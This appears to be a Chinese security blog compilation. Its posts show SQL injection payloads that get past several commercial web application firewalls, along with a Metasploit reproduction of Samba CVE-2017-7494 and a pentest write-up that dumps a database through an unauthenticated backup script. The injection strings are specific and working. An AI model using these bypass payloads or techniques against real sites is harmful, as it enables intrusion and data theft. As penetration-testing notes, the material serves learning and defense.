实战注入过某厂商WAF-第一谈


前言:渗透测试当中遇到一个注入,有WAF,记录一下思路。
不要嫌麻烦,如果静不下心来思考,那还不如不做技术。按照以前说的注入绕过的思路,首先还是要先看看会拦截什么语句或者关键字,这点对于后续的绕过思路很有帮助,比如substr()函数被限制了,那有没有其他函数可以替代呢?诸如此类的问题多想想,既可以完成工作,又能够学到新的知识点,做好积累。


拦截语句

首先尝试了各种常用的payload,看看WAF拦了哪些操作,发现如下语句会拦截:

  • and 1=1类型
  • order by num类型
  • union select x类型
  • sleep(5)类型
  • /*!*/

放行语句

在上面尝试中发现如下语句未被拦截:

  • order by
  • /**/
  • /*/**/and if(1,1,0)
  • %0a、%0b…

根据上面的测试结果可以看出,WAF对于order by num和union select x类型限制的比较严格,从联合查询入手去绕不太合适,比较花时间,然而and if(1,1,0)这种形式未做拦截,所以我们可以通过盲注的形式获取数据。

测试思路

  • 第一坑
    当payload写到and if(substr(),1,0)时还没有问题,但写到and if(substr(user()),1,0)时被拦截,起初以为是user()是拦截的原因(也确实是一个原因),但后续测试发现只要substr(x)这种形式,都会被拦截。尝试使用注释和编码未果,考虑使用替代函数,这里收集了几个mysql的截取字符串的函数
    • substr()
    • substring()
    • mid()
    • left()
    • right()
    • substring_index()

后来发现right()未被拦截(这就很有意思了,因为left被拦截了),所以我们找到了替代substr()的函数,第一坑填好了

  • 第二坑

user()等函数被拦截,这没法找替代函数了,怎么办呢?
那就只能在user()上做文章了,各种尝试后发现user%0a/*%0a*/()可以绕过WAF



后续出数据的思路就没有多少坑了,故不再详述。

两款防火墙的注入绕过姿势


前言:两个绕过的测试环境为sqli_labs+mysql。本文主要是以当时测试的思路来写的,还望各位师傅多多指教。


0x00 某厂商WAF

拦截语句

按照之前的思路,首先尝试了各种常用的payload,看看WAF拦了哪些操作,发现如下语句会拦截:

  • and 1=1类型
  • ‘、%27
  • union、select、union select、select from、sleep()
  • /*!*/

放行语句

在上面尝试中发现如下语句未被拦截:

  • order by
  • /**/
  • /*/**/and if(1,1,0)
  • %0a、%0b…
  • order by x
  • 对于第三个payload,最先尝试的是?id=1 and if(1,1,0),被拦截,然后猜测问题在于and这里,就在前面加了一个/**/进行尝试,发现还是失败,然后在注释中多加了/*,成功绕过,/*/*/也是可行的
    测试发现,若响应内容含有敏感信息(mysql错误信息),会被WAF重置连接。所以需要构造一个可以执行成功的sql语句

测试思路

  1. 既然敏感信息会被重置连接,我们可以采用盲注的方式进行绕过
    先尝试绕过and 1=1/and 'a'='a'的限制,验证是否存在注入
    在安全狗测试中我们是使用内联注释过狗的,但这款WAF限制了内联注释,所以需要另外的方法。并且由于单引号也被禁止了,暂时未想到绕过方法,先尝试数字型注入的绕过
    测试payload:and 1 --and 0 --
  2. 接着我们尝试一下and if形式的注入语句:
    /*/**/and if(substr(1,1,1)=1,1,0) -- -
    未拦截,然后修改payload:
    /*/**/and if(substr(user(),1,1)='r',1,0) -- -,成功
  3. 继续往下构造
    /*/*/and if(substr((select/**/schema_name/*/**/from/**/(information_schema.schemata)limit 1 offset 0/*/**/),1,1)='i',1,0)-- - 成功
    select后面跟的/**/是关键

    ps:上面这段payload之前尝试其实是失败的,写文章复现的时候发现居然能过,一脸懵逼。当时是针对select进行了尝试,使用%0aselect进行的绕过

  4. 这里其实还有个问题,针对sleep()函数的绕过,WAF对这块限制的很严,试过sleep/**/()、sleep/*/**/()等,均尝试失败
    但是我们可以使用另外一个函数进行替代:benchmark(),最后构造payload如下:
    /*/*/and if(substr(user/*/**/(),1,1)='r',benchmark(100000000,rand()),0)-- -

    ps:我们这里是针对数字型注入进行的绕过,后来测试了字符型,发现/*/**/'就可以过掉WAF,和上面and if的思路一致。针对union select的绕过,利用上述中的方法也是可以过的。

0x01 360主机卫士

ps:官网给出的更新日志是2015年12月,windows版本为:Windows 2.0.4.6

同样,我们继续按照之前的思路来测试

拦截语句

  • select、select from、union select
  • and 1=1类型
  • /*!50000*/ #后续测试发现,只拦截了这一个,如/*!500001*/就不会被拦截

放行语句

  • 单独使用的select、union、from
  • /*!*/

测试思路

  1. 对于绕and 1=1类似语句方法和安全狗的一样,可以使用and /*!1=1*/或者and /*!1*/=/*!1*/来进行绕过
    and if(substr(user(),1,1)=’r’,1,0)– -
  2. 进行下一步测试时发现,payload:and if(substr(user(),1,1)='r',1,0)-- -未被拦截,可以直接执行
  3. 然后继续构造payload查询数据库:and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i',1,0)-- -,结果被拦截

    因为payload含有select from
    按照第一节中的方法,我们使用%0aselect的形式试图干扰WAF,失败
    payload:and if(substr((%0aselect schema_name from information_schema.schemata limit 0,1),1,1)='i',1,0)-- -
    接着我们在from前面加上了%0a,还是失败
    payload:and if(substr((%0aselect schema_name%0afrom information_schema.schemata limit 0,1),1,1)='i',1,0)-- -
    然后我尝试了对from使用内联注释,成功
    payload:and if(substr((%0aselect schema_name%0a/*!50001from*/ information_schema.schemata limit 0,1),1,1)='i',1,0)-- -

    使用这种方法也可以绕过union select的限制,这里就不多说了

    0x02 总结

    这次测试比之前安全狗测试的时候思路要清晰一些,但感觉还是有诸多不足,对于mysql的特性还需要积累总结。

打狗棒法-注入过狗姿势


前言:作为团队最水的菜鸡,上周终于有时间搞搞自己的事了。本篇文章主要总结绕狗过程中遇到的各种姿势和坑,由于不是专业绕狗选手,希望各位大佬不要嘲笑。目前测试的版本为网站安全狗(apache版)4.0.18089,截止2017/09/25官网最新版


0x00 各种尝试

被拦语句

首先尝试了各种常用的payload,看看狗拦了哪些操作,发现如下语句会拦截:

and 1=1/and ‘a’=’a’类型
union select/union distinct select等
user()、database()等函数

放行语句

在上面尝试中发现如下语句未被拦截:

order by
select、union分开使用
and if

0x01 第一种思路

先尝试绕过and 1=1/and 'a'='a'的限制
这里可以使用内联注释进行绕过: and /*!1*/=/*!1*/即可绕过

接着我们尝试一下利用时间盲注来进行绕过,我们先尝试一下正常的语句:

‘ and if(substr(user(),1,1)=’r’,sleep(5),1)– -
这个语句肯定会被拦截,因为含有user()等敏感函数,那么怎么绕过呢,我们试试user/**/()这样的形式
‘ and if(substr(user/**/(),1,1)=’r’,sleep/**/(5),1)– -

这里安全狗没有拦截,网站响应时间是6s(没有sleep也有1s的响应,所以延时5s没有问题,虚拟机卡啊T_T)
后续尝试发现,user%0a()也是可以绕过的。

ps:这里提个问题,用这种形式的注入,如何注入到表中内容,暂时没有头绪,望大佬指教。


问题已解决(还是基础不扎实)。
可以使用and if(substr((select * from admin),1,1),1,0)这样的形式注入出数据
具体注入还有相关的坑需要绕过,这个大家可以自行研究,利用本文的方法是可以过的。

0x02 第二种思路

回到刚才的问题,没有更进一步获取数据,还是把目光聚焦在union select的绕过。
这里试过很多坑,但还是把尝试过的payload发出来,说不定另外的waf能过呢,也包含了一些mysql的特性:

union /*!(select@1*/,2,3) //select后面可跟@,!,~,如select!1,select~1
union/**//**/(/*!select@1*/,2,3)
union/*!/**/*//*!(select@1*/,2,3)

后来发现怎么也绕不过去,然后查询资料发现union select等价于union distinct select
进行尝试,失败:

继续尝试,给distinct加内联注释,失败:

在distinct前面加上/**/,成功:

0x03 总结

思路比较混乱,还需了解更多的数据库特性,还有正则表达式,才能深入了解过waf的思路技巧。

Samba远程命令执行漏洞(CVE-2017-7494)攻击演示


废话:最近一直忙着写剧本写剧本写剧本(我不是安服吗?),直到今天才有空复现这个漏洞,以后还是要尽力多抽时间学习总结哈


0x00 漏洞信息

2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。

0x01 利用条件

  • 服务端共享目录有访问权限。
  • 服务端共享目录有写入权限。
  • 服务端共享目录的物理路径已知或者可猜解。

0x02 复现过程

环境搭建

1
2
$ docker pull medicean/vulapps:s_samba_1 //拉取或更新指定镜像
$ docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1 //-d:以守护进程方式运行(后台),-p <HOT_PORT>:<CONTAINER_PORT>:主机指定端口绑定容器指定端口

漏洞验证

1、msf更新至最新,已有相应的exp,查询is_known_pipename

2、选择该模块后我们show options,查看需要设置的参数,如下图所示,设置RHOST,target设为linux x86_64(对应测试环境)

3、然后设置监听,设置完监听后,运行即可获取shell

记一次奇葩的渗透测试


前言:这次的渗透测试,常规漏洞不存在或者不好利用,却由于一个打包程序,导致网站沦陷。


0x00 信息搜集

前期使用御剑扫描,得到的信息非常有限,nmap扫描端口也未发现敏感服务,然后访问robots.txt,发现如下信息:

可以发现,其中有admin后台,访问如图:

对于后台我一般会做如下尝试:

  • 弱口令走一波
  • 在用户名处填写注入语句,一般使用’来测试
  • 若无验证码,可以尝试暴力破解;若有验证码,也可以尝试暴力破解

做完尝试之后发现此处并没有注入,但后台能够进行暴力破解,验证码不会失效。然后拿出一堆几十年前的字典狂爆一波,最后GG。。。。

0x01 尝试可能的漏洞

前面没发现太多有用的东西,还是看看站点本身。按照习惯,去放问了网站新闻等内容,通常类似php?id=的url有可能有注入等漏洞,兴高采烈的去各种尝试,后来发现页面不会有任何改变,这里猜测后台应该使用了intval等函数强制转换过。
注入看来是没戏了,然后又发现了一个msg.php,打开一看,果然是留言板,插入xss恶意代码盲打一波。结果到最后,没有任何收获,无解啊。
到目前为止,我们只有一个暴力破解可以使用,奈何字典不够强大,我们怎么继续下去呢?

  • 旁注?醒醒吧,就这一个站!
  • C段?挺花时间的要不继续看看?

0x02 再次收集信息

这次我祭出了更强大的御剑,不对,是更强大的字典,终于皇天不负有心人,在强大的字典面前,一个叫zip.php进入了我的视线,打开如下图:

这是一个打包程序,我们能不能把源码打包直接下载下来,这样我们不就有可能获得管理员的账号密码了嘛?然而看到这里需要输入密码,可能我们又会去爆破,但是这里有更有价值的信息,我们访问图中的url,下载这套代码,第一行代码吸引了我:

尝试失败,说明管理员修改了密码。怎么办呢?我们能不能绕过登陆直接打包呢?
我们可以来审一下代码:

可以看到,当$_REQUEST["myaction"])没有传到后台时,则显示密码框,需要用户登陆,若$_REQUEST["myaction"]) == 'dolist'时,需要验证密码,我们跳过这段,看看后面是否还有else if这类代码,结果发现有如下代码:

也就是说,当$_REQUEST["myaction"]) == 'dozip'时,程序就会执行打包函数,无需登录即可完成打包,只要找到需要打包的参数的代码就OK了。

可以发现,value这里的值改为对应目录,就可以执行打包了
结果打包下来,只有一个sql文件(然而压缩文件1.1G,解压就一个400多k的sql文件??)
从sql里面发现了管理员账号密码,后续的上传shell也非常简单,这里就不多说了。

0x03 总结

信息搜集才是王道,只有搜集到足够多有用的信息,思路也自然会打开。然后就请各位大佬,多多指教咯。

|